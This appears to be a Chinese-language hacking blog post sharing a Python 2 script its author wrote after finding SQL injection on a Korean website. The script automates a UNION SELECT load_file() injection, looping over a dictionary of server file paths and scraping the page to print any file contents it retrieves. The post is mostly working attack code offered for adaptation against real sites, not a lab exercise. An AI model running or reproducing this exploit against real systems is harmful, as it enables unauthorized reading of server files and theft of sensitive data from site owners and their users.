Python in Hacking[LOAD_FILE() Helper]

lakers009

　　Pnig0s p.s: ***一韩国站,遭遇Mysql4,好在有FILE权限只能批量LOAD_FILE路径,为了避免繁重的工作量写了这个脚本,字典文件名为dic.txt路径一行一个,因为环境不同,此脚本并非通用,稍作改动即可。复制代码请务必在普通IE下复制
　　

　　

• #!/usr/bin/python
  
• # -*- coding:utf-8 -*-
  
• ########################################
  
• #          Coder:Pnig0s1992
  
• # A script to auto use the LOAD_FILE()
  
• #      GTalk:pnigos70@gmail.com
  
• #Blog:http://pnig0s1992.blog.51cto.com/
  
• #
  
• ########################################
  
• import urllib
  
• import binascii
  
• import string
  
• import os
  
• def guessPath():
  
•     fi = open('dic.txt','r+')
  
•     while True:
  
•         path = fi.readline().strip()
  
•         if path:
  
•             url = 'http://www.xxx.co.kr/?mode=view&no=\
  
•             1151 AnD 1=2 UnIon SeleCt 1,2,3,4,5,load_file(0x'+binascii.b2a_hex(str(path))+')'
  
•             EnUrl=urllib.quote_plus(url,safe=':\'/?&=()|')
  
•             fd = urllib.urlopen(EnUrl)
  
•             res = fd.read()
  
•             Begin = res.rfind('<table width=&quot;450&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;>')
  
•             End = res.rfind('<table width=&quot;486&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;>')
  
•             tempDate = res[Begin:End]
  
•             realBegin = tempDate.index('<td>')+4
  
•             realEnd = tempDate.index('</td>')
  
•             checkEmpty = tempDate[realBegin:realEnd].strip()
  
•             if checkEmpty:
  
•                 print path+' is exists!!!!!!!!!!!'
  
•                 print 'Geting the data......'
  
•                 print checkEmpty
  
•                 os.system('pause')
  
•             else:
  
•                 print path+' is not exists.'
  
•                 continue
  
•         else:
  
•             print 'All has finished...'
  
•             break
  
• 
  
• if __name__ == '__main__':
  
•     print '__________Written by Pnig0s1992__________'
  
•     guessPath()